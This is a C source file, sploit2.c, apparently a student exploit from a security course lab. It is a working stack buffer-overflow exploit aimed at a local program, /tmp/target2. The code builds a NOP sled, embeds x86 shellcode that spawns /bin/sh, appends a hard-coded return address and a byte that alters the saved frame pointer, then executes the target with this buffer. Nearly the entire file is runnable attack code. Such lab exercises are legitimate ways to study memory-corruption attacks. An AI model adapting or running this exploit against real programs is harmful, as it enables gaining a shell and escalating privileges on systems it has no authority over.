sploit2.c

/*
 * sploit2.c
 * Author - Saul Laufer
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include "shellcode.h"

#define TARGET "/tmp/target2"
#define NOP 0x90
#define SIZE 1024

int main(void)
{

	// change least significant byte of frame pointer
	// injection buffer format -
	// [NOPs][shellcode][&shellcode][%ebp_altering_byte]

	static char shellcode[] =

	  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
	  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
	  "\x80\xe8\xdc\xff\xff\xff/bin/sh";

  char *args[3];
  char *env[1];

  args[0] = TARGET;

  //injection buffer
  char buf[SIZE];
  int i, j;

  //fill with zeroes
  bzero(&buf, SIZE);

	// insert NOP SLIDE for all of buffer except
  	//shellcode, address of buffer and ebp byte
	for (i = 0; i <= (236 - sizeof(shellcode)); i++)
	{
      	buf[i] = NOP;
	}

	//insert shellcode
	for (j = 0; j < (sizeof(shellcode) - 1); i++, j++)
	{
	        buf[i] = shellcode[j];
	}

	//insert landing address
	buf[i++] = 0x9c;
	buf[i++] = 0xfc;
	buf[i++] = 0xff;
	buf[i++] = 0xbf;

	//insert ebp byte
	buf[i++] = 0x70;


  args[1] = buf;
  args[2] = NULL;
  env[0] = NULL;

  if (0 > execve(TARGET, args, env))
    fprintf(stderr, "execve failed.\n");

  return 0;
}